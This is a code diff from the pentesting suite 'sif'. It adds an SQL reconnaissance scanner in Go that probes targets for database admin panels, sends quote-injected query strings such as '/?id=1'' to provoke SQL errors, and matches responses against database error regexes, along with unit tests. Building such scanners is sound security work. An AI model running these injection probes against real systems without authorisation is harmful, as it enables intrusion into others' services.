{"/phpredisadmin/", "phpRedisAdmin"},
|
||||
}
|
||||
|
||||
// database error patterns to detect database type
|
||||
var databaseErrorPatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
databaseType string
|
||||
}{
|
||||
{regexp.MustCompile(`(?i)mysql.*error`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql.*syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)you have an error in your sql syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)warning.*mysql`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_fetch`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_num_rows`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysqli`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)postgresql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_query`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_exec`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)psql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)unterminated quoted string`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)microsoft.*odbc.*sql server`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)mssql.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sql server.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)unclosed quotation mark`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sqlsrv`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)ora-\d{5}`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oracle.*error`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oci_`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)sqlite.*error`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite3`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite_`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)mongodb.*error`), "MongoDB"},
|
||||
{regexp.MustCompile(`(?i)document.*bson`), "MongoDB"},
|
||||
}
|
||||
|
||||
// SQL performs SQL reconnaissance on the target URL
|
||||
func SQL(targetURL string, timeout time.Duration, threads int, logdir string) (*SQLResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🗃️ Starting " + styles.Status.Render("SQL reconnaissance") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "SQL reconnaissance"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
sqllog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "SQL 🗃️",
|
||||
}).With("url", targetURL)
|
||||
|
||||
sqllog.Infof("Starting SQL reconnaissance...")
|
||||
|
||||
result := &SQLResult{
|
||||
AdminPanels: []SQLAdminPanel{},
|
||||
DatabaseErrors: []SQLDatabaseError{},
|
||||
}
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// check for admin panels
|
||||
wg.Add(threads)
|
||||
adminPathsChan := make(chan int, len(sqlAdminPaths))
|
||||
for i := range sqlAdminPaths {
|
||||
adminPathsChan <- i
|
||||
}
|
||||
close(adminPathsChan)
|
||||
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for idx := range adminPathsChan {
|
||||
adminPath := sqlAdminPaths[idx]
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + adminPath.path
|
||||
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error checking %s: %v", checkURL, err)
|
||||
continue
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// check for successful response (not 404)
|
||||
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
|
||||
// read body to check for common admin panel indicators
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100)) // limit to 100KB
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// check if it's actually an admin panel (not just a generic page)
|
||||
if isAdminPanel(bodyStr, adminPath.panelType) {
|
||||
mu.Lock()
|
||||
panel := SQLAdminPanel{
|
||||
URL: checkURL,
|
||||
Type: adminPath.panelType,
|
||||
Status: resp.StatusCode,
|
||||
}
|
||||
result.AdminPanels = append(result.AdminPanels, panel)
|
||||
mu.Unlock()
|
||||
|
||||
sqllog.Warnf("Found %s at [%s] (status: %d)",
|
||||
styles.SeverityHigh.Render(adminPath.panelType),
|
||||
styles.Highlight.Render(checkURL),
|
||||
resp.StatusCode)
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Found %s at [%s] (status: %d)\n", adminPath.panelType, checkURL, resp.StatusCode))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// check main URL for database errors
|
||||
checkDatabaseErrors(client, targetURL, sanitizedURL, result, sqllog, logdir, &mu)
|
||||
|
||||
// check common endpoints that might expose database errors
|
||||
errorCheckPaths := []string{
|
||||
"/?id=1'",
|
||||
"/?id=1\"",
|
||||
"/?page=1'",
|
||||
"/?q=test'",
|
||||
"/search?q=test'",
|
||||
"/login",
|
||||
"/api/",
|
||||
}
|
||||
|
||||
for _, path := range errorCheckPaths {
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + path
|
||||
checkDatabaseErrors(client, checkURL, sanitizedURL, result, sqllog, logdir, &mu)
|
||||
}
|
||||
|
||||
// summary
|
||||
if len(result.AdminPanels) > 0 {
|
||||
sqllog.Warnf("Found %d database admin panel(s)", len(result.AdminPanels))
|
||||
}
|
||||
if len(result.DatabaseErrors) > 0 {
|
||||
sqllog.Warnf("Found %d database error disclosure(s)", len(result.DatabaseErrors))
|
||||
}
|
||||
|
||||
if len(result.AdminPanels) == 0 && len(result.DatabaseErrors) == 0 {
|
||||
sqllog.Infof("No SQL exposures found")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func isAdminPanel(body string, panelType string) bool {
|
||||
bodyLower := strings.ToLower(body)
|
||||
|
||||
switch panelType {
|
||||
case "phpMyAdmin":
|
||||
return strings.Contains(bodyLower, "phpmyadmin") ||
|
||||
strings.Contains(bodyLower, "pma_") ||
|
||||
strings.Contains(body, "phpMyAdmin")
|
||||
case "Adminer":
|
||||
return strings.Contains(bodyLower, "adminer") ||
|
||||
strings.Contains(body, "Adminer")
|
||||
case "pgAdmin":
|
||||
return strings.Contains(bodyLower, "pgadmin") ||
|
||||
strings.Contains(body, "pgAdmin")
|
||||
case "phpPgAdmin":
|
||||
return strings.Contains(bodyLower, "phppgadmin")
|
||||
case "RockMongo":
|
||||
return strings.Contains(bodyLower, "rockmongo")
|
||||
case "Redis Commander":
|
||||
return strings.Contains(bodyLower, "redis commander") ||
|
||||
strings.Contains(bodyLower, "redis-commander")
|
||||
case "phpRedisAdmin":
|
||||
return strings.Contains(bodyLower, "phpredisadmin")
|
||||
default:
|
||||
// for generic database interfaces, check for common keywords
|
||||
return strings.Contains(bodyLower, "database") ||
|
||||
strings.Contains(bodyLower, "sql") ||
|
||||
strings.Contains(bodyLower, "query") ||
|
||||
strings.Contains(bodyLower, "mysql") ||
|
||||
strings.Contains(bodyLower, "postgresql") ||
|
||||
strings.Contains(bodyLower, "mongodb")
|
||||
}
|
||||
}
|
||||
|
||||
func checkDatabaseErrors(client *http.Client, checkURL, sanitizedURL string, result *SQLResult, sqllog *log.Logger, logdir string, mu *sync.Mutex) {
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(bodyStr) {
|
||||
mu.Lock()
|
||||
// check if we already have this error for this URL
|
||||
found := false
|
||||
for _, existing := range result.DatabaseErrors {
|
||||
if existing.URL == checkURL && existing.DatabaseType == pattern.databaseType {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
dbError := SQLDatabaseError{
|
||||
URL: checkURL,
|
||||
DatabaseType: pattern.databaseType,
|
||||
ErrorPattern: pattern.pattern.String(),
|
||||
}
|
||||
result.DatabaseErrors = append(result.DatabaseErrors, dbError)
|
||||
|
||||
sqllog.Warnf("Database error disclosure: %s at [%s]",
|
||||
styles.SeverityHigh.Render(pattern.databaseType),
|
||||
styles.Highlight.Render(checkURL))
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Database error disclosure: %s at [%s]\n", pattern.databaseType, checkURL))
|
||||
}
|
||||
}
|
||||
mu.Unlock()
|
||||
break // only report one database type per URL
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestIsAdminPanel_phpMyAdmin(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains phpMyAdmin", "<html><title>phpMyAdmin</title></html>", true},
|
||||
{"contains pma_", "<script>var pma_token = '123';</script>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Hello World</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "phpMyAdmin")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'phpMyAdmin') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_Adminer(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains Adminer", "<html><title>Adminer</title></html>", true},
|
||||
{"lowercase adminer", "<div>adminer version 4.8</div>", true},
|
||||
{"empty body", "", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "Adminer")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Adminer') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_GenericDatabase(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains database", "<html><title>Database Manager</title></html>", true},
|
||||
{"contains sql", "<div>SQL Query Interface</div>", true},
|
||||
{"contains mysql", "<script>mysql_query()</script>", true},
|
||||
{"contains postgresql", "<div>PostgreSQL Admin</div>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Blog</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "Database Interface")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Database Interface') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLResult_Fields(t *testing.T) {
|
||||
result := SQLResult{
|
||||
AdminPanels: []SQLAdminPanel{
|
||||
{
|
||||
URL: "http://example.com/phpmyadmin/",
|
||||
Type: "phpMyAdmin",
|
||||
Status: 200,
|
||||
},
|
||||
},
|
||||
DatabaseErrors: []SQLDatabaseError{
|
||||
{
|
||||
URL: "http://example.com/?id=1'",
|
||||
DatabaseType: "MySQL",
|
||||
ErrorPattern: "mysql.*error",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if len(result.AdminPanels) != 1 {
|
||||
t.Errorf("expected 1 admin panel, got %d", len(result.AdminPanels))
|
||||
}
|
||||
if result.AdminPanels[0].Type != "phpMyAdmin" {
|
||||
t.Errorf("expected type 'phpMyAdmin', got '%s'", result.AdminPanels[0].Type)
|
||||
}
|
||||
if len(result.DatabaseErrors) != 1 {
|
||||
t.Errorf("expected 1 database error, got %d", len(result.DatabaseErrors))
|
||||
}
|
||||
if result.DatabaseErrors[0].DatabaseType != "MySQL" {
|
||||
t.Errorf("expected database type 'MySQL', got '%s'", result.DatabaseErrors[0].DatabaseType)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_MySQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mysql error", "MySQL Error: Something went wrong", true},
|
||||
{"mysql syntax", "You have an error in your SQL syntax", true},
|
||||
{"mysql fetch", "Warning: mysql_fetch_array()", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_PostgreSQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"postgresql error", "PostgreSQL Error: connection failed", true},
|
||||
{"pg_query", "Warning: pg_query(): Query failed", true},
|
||||
{"unterminated string", "ERROR: unterminated quoted string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_SQLServer(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mssql error", "MSSQL Error: invalid query", true},
|
||||
{"sql server error", "Microsoft SQL Server Error", true},
|
||||
{"unclosed quote", "Unclosed quotation mark after the character string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_Oracle(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"ora error code", "ORA-00942: table or view does not exist", true},
|
||||
{"oracle error", "Oracle Error: invalid identifier", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLAdminPanelDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/phpmyadmin/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>phpMyAdmin</title></html>"))
|
||||
case "/adminer/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>Adminer</title></html>"))
|
||||
default:
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// this is a basic test to verify the server mock works
|
||||
resp, err := http.Get(server.URL + "/phpmyadmin/")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get phpmyadmin: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200 for /phpmyadmin/, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLDatabaseErrorDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("id") == "1'" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("MySQL Error: You have an error in your SQL syntax"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("Welcome to our website"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns mysql error for injection attempt
|
||||
resp, err := http.Get(server.URL + "/?id=1'")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"github.com/dropalldatabases/sif/pkg/config"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
"github.com/dropalldatabases/sif/pkg/scan"
|
||||
"github.com/dropalldatabases/sif/pkg/scan/frameworks"
|
||||
jsscan "github.com/dropalldatabases/sif/pkg/scan/js"
|
||||
)
|
||||
|
||||
@@ -57,7 +58,7 @@ func New(settings *config.Settings) (*App, error) {
|
||||
app := &App{settings: settings}
|
||||
|
||||
if !settings.ApiMode {
|
||||
fmt.Println(styles.Box.Render(" █▀ █ █▀▀\n ▄█ █ █▀ "))
|
||||
fmt.Println(styles.Box.Render(" █▀ █ █▀▀\n ▄█ █ █▀ "))
|
||||
fmt.Println(styles.Subheading.Render("\nblazing-fast pentesting suite\nman's best friend\n\nbsd 3-clause · (c) 2022-2025 vmfunc, xyzeva & contributors\n"))
|
||||
}
|
||||
|
||||
@@ -125,6 +126,16 @@ func (app *App) Run() error {
|
||||
scansRun = append(scansRun, "Basic Scan")
|
||||
}
|
||||
|
||||
if app.settings.Framework {
|
||||
result, err := frameworks.DetectFramework(url, app.settings.Timeout, app.settings.LogDir)
|
||||
if err != nil {
|
||||
log.Errorf("Error while running framework detection: %s", err)
|
||||
} else if result != nil {
|
||||
moduleResults = append(moduleResults, ModuleResult{"framework", result})
|
||||
scansRun = append(scansRun, "Framework Detection")
|
||||
}
|
||||
}
|
||||
|
||||
if app.settings.Dirlist != "none" {
|
||||
result, err := scan.Dirlist(app.settings.Dirlist, url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if err != nil {
|
||||
@@ -257,14 +268,23 @@ func (app *App) Run() error {
|
||||
}
|
||||
}
|
||||
|
||||
if app.settings.SubdomainTakeover {
|
||||
// Pass the dnsResults to the SubdomainTakeover function
|
||||
result, err := scan.SubdomainTakeover(url, dnsResults, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if app.settings.SQL {
|
||||
result, err := scan.SQL(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if err != nil {
|
||||
log.Errorf("Error while running Subdomain Takeover Vulnerability Check: %s", err)
|
||||
} else {
|
||||
moduleResults = append(moduleResults, ModuleResult{"subdomain_takeover", result})
|
||||
scansRun = append(scansRun, "Subdomain Takeover")
|
||||
log.Errorf("Error while running SQL reconnaissance: %s", err)
|
||||
} else if result != nil {
|
||||
moduleResults = append(moduleResults, ModuleResult{"sql", result})
|
||||
scansRun = append(scansRun, "SQL Recon")
|
||||
}
|
||||
}
|
||||
|
||||
if app.settings.LFI {
|
||||
result, err := scan.LFI(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if err != nil {
|
||||
log.Errorf("Error while running LFI reconnaissance: %s", err)
|
||||
} else if result != nil {
|
||||
moduleResults = append(moduleResults, ModuleResult{"lfi", result})
|
||||
scansRun = append(scansRun, "LFI Recon")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user